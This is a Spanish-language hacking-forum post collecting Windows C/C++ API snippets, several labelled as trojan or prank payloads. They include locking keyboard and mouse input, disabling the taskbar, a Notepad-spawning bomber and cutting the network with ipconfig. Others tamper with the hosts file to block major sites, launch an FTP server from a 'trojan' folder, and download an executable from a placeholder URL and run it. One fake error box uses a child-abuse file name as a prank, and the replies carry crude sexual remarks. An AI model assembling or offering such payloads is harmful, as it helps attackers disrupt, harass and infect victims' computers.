Abrir bandeja de CD-rom:
Incluir biblioteca: #include <mmsystem.h>

Código: Seleccionar todo

mciSendString("Set CDAudio Door Open",NULL,0,GetActiveWindow()); // Primera forma
mciSendString("Set CDAudio Door Open",NULL,0,NULL); // Segunda forma
Cerra bandeja lo mismo:

Código: Seleccionar todo

mciSendString("Set CDAudio Door Closed",NULL,0,GetActiveWindow());
mciSendString("Set CDAudio Door Closed",NULL,0,NULL);
Ocultar barra de tareas:

Código: Seleccionar todo

HWND reg;
 reg = FindWindow("Shell_TrayWnd",0);
 ShowWindow(reg, SW_HIDE);
Mostrar barra de tareas:

Código: Seleccionar todo

HWND reg;
 reg = FindWindow("Shell_TrayWnd",0);
 ShowWindow(reg, SW_SHOW);
Ocultar aplicacion en barra de tareas:

Código: Seleccionar todo

ShowWindow(Application.Handle, SW_HIDE);
Para mostrar:

Código: Seleccionar todo

ShowWindow(Application.Handle, SW_SHOW);
Ocultar boton de inicio:

Código: Seleccionar todo

HRGN Rgn;
HANDLE tWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
Rgn = CreateRectRgn(0, 0, 0, 0);
SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), Rgn, true);
Mostrar boton de inicio:

Código: Seleccionar todo

HANDLE tWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), 0, true);

Otra forma casi la misma:
Ocultar boton inicio:

Código: Seleccionar todo

HANDLE tWnd,bWnd ;
tWnd = FindWindow("Shell_TrayWnd", 0);
bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
ShowWindow (bWnd, SW_HIDE);
Mostrar:

Código: Seleccionar todo

HANDLE tWnd,bWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
ShowWindow (bWnd, SW_NORMAL);


Bloquear mouse y teclado

Código: Seleccionar todo

BlockInput(true);
Sleep(600000);
return 0;

Change Foreground Window Title

Código: Seleccionar todo

HWND Window;
Window = GetForegroundWindow();
SetWindowText(Window, L"Your text here");
Sleep(10000);
return 0;

Turn Off Monitor

Código: Seleccionar todo

SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(2000);
return 0;

Swap Mouse Buttons

Código: Seleccionar todo

SwapMouseButton(true);
return 0;
Crazy Mouse

Código: Seleccionar todo

int i,x,y;
for(i= 0; i < 201; i++) {
x = rand()%1001;
y = rand()%801;
SetCursorPos(x,y);
Sleep(200);
}
return 0;
Open a website

Código: Seleccionar todo

ShellExecute(NULL,L"open",L"http://www.yourwebsitehere.com/",NULL,NULL,SW_MAXIMIZE);
return 0;
Disable Taskbar

Código: Seleccionar todo

HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
ShowWindow(hWin,false);
return 0;
MessageBox / Error

Código: Seleccionar todo

MessageBox(NULL,TEXT("Error loading C:\\Documents and Settings\\All Users\\Child Porn"),TEXT("Error"),MB_OK | MB_ICONEXCLAMATION );
return 0;
Hide Current Window

Código: Seleccionar todo

HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin,false);
return 0;
Play a sound

Código: Seleccionar todo

PlaySound(TEXT("C:\\Windows\\trojan\\sound.wav"), NULL, SND_FILENAME);
return 0;
Disable Internet

Código: Seleccionar todo

system("ipconfig /release");
return 0;
Open & Close CD Drive

Código: Seleccionar todo

mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
return 0;
Notepad Bomber

Código: Seleccionar todo

int i;
for(i= 0; i < 1001; i++) {
ShellExecute(NULL,L"open",L"notepad.exe",NULL,NULL,SW_MAXIMIZE);
}
return 0;
Edits Hosts file to block sites

Código: Seleccionar todo

FILE *fp;
int i;
char hosts_file_path[FILENAME_MAX];
char ip[] = "0.0.0.0";

/* Add your sites in the below list. */
char *blist[] = {
"www.orkut.com",
"orkut.com",
"www.google.com",
"google.com",
"www.google.co.in",
"google.co.in",
"www.gmail.com",
"gmail.com",
"www.facebook.com",
"facebook.com",
"www.yahoo.com",
"yahoo.com",
"www.twitter.com",
"twitter.com",
"#"
};
strcpy (hosts_file_path, getenv ("SystemRoot"));
strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");
if ((fp = fopen (hosts_file_path, "a")) == NULL)
return 0;
fputs ("\n", fp);
for (i = 0; blist[i][0] != '#'; i++)
{
fputs (ip, fp);
fputs ("        ", fp);
fputs (blist[i], fp);
fputs ("\n", fp);
}
fclose (fp);
system("echo ' '");
return 0;
Start FTP server (download SlimFTPd and put it in your trojan folder)

Código: Seleccionar todo

ShellExecute(NULL,L"open",L"C:\\Windows\\trojan\\SlimFTPd.exe",NULL,NULL,SW_MAXIMIZE);
return 0;
Download File From Internet

Código: Seleccionar todo

#include <urlmon.h>

int main(){
URLDownloadToFile( 0 , "http:\\www.tu_link.com\tu_exe.exe" , "C:\\Ruta.exe" ,  0 , 0)
return 0;
}
Changes Window Current Position!

Código: Seleccionar todo

HWND ventana;
ventana = GetForegroundWindow();
SetWindowPos(ventana,0,"Posicion_X","Posicion_Y","Ancho_Pixeles","Alto_Pixeles",SWP_SHOWWINDOW);
Execute File From Path

Código: Seleccionar todo

WinExec( "c:\Ruta_De_Exe.exe" , 10 );
return 0;
Fuente - HT..
PD: Se seguiran añadiendo Apis al Post.. Solo publiquen las que quieran.. Salu2
Última edición por Kodeinfect el 30 Sep 2010, 16:11, editado 2 veces en total.
Welcome to your nightmare, bitch.
Exelente recopilacion hermano!
yo aporte algunas de esas , cuando estuve de paso por HT!
Saludos!
obey escribió:Pues si tuviese mas edad todavia pero esqe perder la virginidad con tu profesora de informatica y que ademas tenga 50....
Responder

Volver a “Fuentes”